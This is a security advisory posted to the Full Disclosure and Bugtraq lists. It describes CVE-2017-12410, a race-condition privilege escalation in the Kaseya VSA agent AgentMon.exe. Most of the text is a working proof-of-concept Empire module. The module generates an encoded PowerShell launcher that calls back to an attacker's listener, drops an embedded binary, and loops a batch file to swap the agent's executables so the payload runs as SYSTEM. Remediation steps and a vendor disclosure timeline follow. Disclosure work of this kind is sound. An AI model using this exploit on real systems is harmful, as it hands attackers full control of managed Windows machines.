Kaseya AgentMon.exe <= 9.3.0.11 - Local Privilege Escalation

From: x ksi <s3810@pjwstk.edu.pl>
To: fulldisclosure@seclists.org,bugtraq@securityfocus.com
Cc:
Subject: Kaseya AgentMon.exe <= 9.3.0.11 - Local Privilege Escalation
Date:


Hey,

The Local Privilege Escalation vulnerability was found in the Kaseya
Virtual System Administrator (VSA) [1] agent "AgentMon.exe". The agent is a
Windows service that periodically executes various programs with \u201cNT
AUTHORITY\SYSTEM\u201d privileges.

In the Kaseya's default configuration, Windows users who belong to the
\u201cAuthenticated Users\u201d group can modify files residing in the working and
temporary directories e.g.:
  - "HKLM\SOFTWARE\Kaseya\Agent\...\TempPath"
  - "C:\Temp"
  - "C:\kworking"

The list of executables that are stored in these directories and are run by
the agent includes, but is not limited to:
  - "C:\kworking\NetUserStateAudit.exe"
  - "C:\kworking\KLicense.exe"
  - "C:\Temp\kwami.dll"

The VSA agent before running the executables performs verification if the
files were modified. If it detects that was the case, then it restores them
to their known-good originals. However, this process was found to suffer
from a Time of Check & Time of Use (TOCTOU) issue and that it is possible
to win a race condition which makes it possible to run arbitrary
executables with "NT AUTHORITY\SYSTEM" privileges.

The PoC exploiting this vulnerability is included below. The PoC is an
Empire module (https://github.com/EmpireProject/Empire) and it currently
supports exploitation by replacing one of the following files:
  - "C:\kworking\NetUserStateAudit.exe" ($exe in PoC)
  - "C:\Temp\kwami.dll" ($dll in PoC)

--
$ cat > kaseya.py << EOF
from lib.common import helpers

class Module:
  def __init__(self, mainMenu, params=[]):
    self.info = {
      'Name': 'Kaseya AgentMon.exe <= 9.3.0.11 - Local Privilege Escalation',
      'Author': ['Filip.Palian@pjwstk.edu.pl'],
      'Description': (
        'It\'s possible to exploit TOCTOU vulnerability in Kaseya '
        'AgentMon.exe service by winning a race condition when it tries '
        'to execute binaries from its working and/or temp folder.'),
      'Background': False,
      'OutputExtension': None,
      'OpsecSafe': False,
      'Language' : 'python',
      'NeedsAdmin' : False,
      'MinLanguageVersion' : '2.6',
      'Comments': [
        'http://kaseya.com/'
      ]
    }

    self.options = {
      'Agent': {
          'Description' : 'Agent to run on.',
          'Required'    : True,
          'Value'       : ''
      },
      'Listener' : {
          'Description' : 'Listener to use.',
          'Required'    : True,
          'Value'       : ''
      },
      'UserAgent' : {
          'Description' : 'User-agent string to use for the staging ' \
                            + 'request (default, none, or other).',
          'Required'    : False,
          'Value'       : 'default'
      },
      'Proxy' : {
          'Description' : 'Proxy to use for request (default, none, or' \
                            + 'other).',
          'Required'    : False,
          'Value'       : 'default'
      },
      'ProxyCreds' : {
          'Description' : 'Proxy credentials ([domain\]username:' \
                            + 'password) to use for request (default,' \
                            + 'none, or other).',
          'Required'    : False,
          'Value'       : 'default'
      },
      'Executable': {
          'Description' : 'Name of the exacutable to replace in working' \
                            + 'folder (default or other).',
          'Required'    : False,
          'Value'       : 'default'
      },
      'Path': {
          'Description' : 'Working or temp folder to use (default, work,' \
                            + 'temp).',
          'Required'    : False,
          'Value'       : 'default'
      },
    }

    self.mainMenu = mainMenu

    if params:
      for param in params:
        option, value = param
        if option in self.options:
          self.options[option]['Value'] = value

    def generate(self):
      listenerName = self.options['Listener']['Value']
      userAgent = self.options['UserAgent']['Value']
      proxy = self.options['Proxy']['Value']
      proxyCreds = self.options['ProxyCreds']['Value']
      execName = self.options['Executable']['Value']
      path = self.options['Path']['Value']

      if not self.mainMenu.listeners.is_listener_valid(listenerName):
        print helpers.color("[!] Invalid listener: " + listenerName)
        return ""
      else:
        launcher = self.mainMenu.stagers.generate_launcher(
          listenerName,
          language='powershell',
          encode=True,
          userAgent=userAgent,
          proxy=proxy,
          proxyCreds=proxyCreds
        )

        if launcher == "":
            print helpers.color("[!] Error in launcher generation.")
            return ""
        else:
            encLauncher = " ".join(launcher.split(" ")[1:])

            script = '''
\$exe = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

\$path_opt = "%s"
\$exec_opt = "%s"

if (\$path_opt.compareTo("work") -eq 0) {
  if (\$exec_opt.compareTo("default") -eq 0) {
    \$exec_opt = "NetUserStateAudit.exe"
  }
  \$uid = Get-ChildItem "hklm:\SOFTWARE\Kaseya\Agent" -Name
  \$path = Get-ItemPropertyValue "hklm:\SOFTWARE\Kaseya\Agent\\$uid" `
    -Name TempPath
  [io.file]::WriteAllBytes(
    "\$path\kaseya.exe",
    [System.Convert]::FromBase64String(\$exe)
  )
  "powershell.exe %s" > "\$path\kaseya.ps1"
  Remove-Item "\$path\kaseya.bat"
  Add-Content "\$path\kaseya.bat" "cd \$path"
  Add-Content "\$path\kaseya.bat" ":l"
  Add-Content "\$path\kaseya.bat" "copy kaseya.exe \$exec_opt"
  Add-Content "\$path\kaseya.bat" "goto l"
} else {
  if (\$exec_opt.compareTo("default") -eq 0) {
    \$exec_opt = "kawmi.dll"
  }
  \$path = "C:\\temp"
  [io.file]::WriteAllBytes(
    "\$path\kaseya.dll",
    [System.Convert]::FromBase64String(\$dll)
  )
  Remove-Item "\$path\kaseya.bat"
  Add-Content "\$path\kaseya.bat" "cd \$path"
  Add-Content "\$path\kaseya.bat" ":l"
  Add-Content "\$path\kaseya.bat" "copy kaseya.dll \$exec_opt"
  Add-Content "\$path\kaseya.bat" "goto l"
}

# TODO: add check if we already won a race and kill the loop
Start-Process "\$path\kaseya.bat"

#while(1) {
#  try {
#    # FIXME: test Copy-Item to make it opsec safe
#    #Copy-Item "\$path\kaseya.exe"  "\$path\NetUserStateAudit.exe" `
#    #-ErrorAction SilentlyContinue
#    Copy-Item "\$path\kaseya.exe" "\$path\NetUserStateAudit.exe"
#  } catch [System.Exception] {
#    continue
#  }
#}

''' % (path, execName, encLauncher)

      return script
EOF
--

Remediation:
- Restrict permissions for users who can modify directories and files used
  by the Kaseya VSA.
- Contact vendor for details.

Timeline:
03.08.2017: Initial contact email sent to security@kaseya.com with
            information about the vulnerability.
03.08.2017: Notification sent to vendor that CVE-2017-12410 has been
            assigned for this vulnerability by MITRE.
05.08.2017: Vendor confirms receiving the information about the
            vulnerability and informs that the development team is looking
            into the issue.
19.11.2017: No vendor response. Request for a status update.
10.02.2018: No vendor response. Notifying vendor about the planned advisory
            release.
11.02.2018: Vendor replies with information that the fix is ready, they are
            in the process of backporting it across a three versions of
            their code, testing it, releasing patches and rolling it out
            across their sass (sic!) versions.  Vendor requests to postpone
            publication of the advisory for 30 days to ensure that patches
            are tested and ready for release.
12.02.2018: Confirmation sent that the publication of the advisory will be
            postponed.
12.02.2018: Vendor acknowledges and commits to provide a weekly updates as
            they progress to release.
20.03.2018: No vendor response. Advisory published.
23.03.2018: The advisory is released.

References:
[1] https://www.kaseya.com/products/vsa

Acknowledgments:
- Mike Puglia (Kaseya)
- Niket Khosla (Telstra)
- Telstra BTS Security Services (redteamnsw@team.telstra.com)


Thanks,
Filip Palian





Copyright © 1995-2018 LinuxRocket.net. All rights reserved.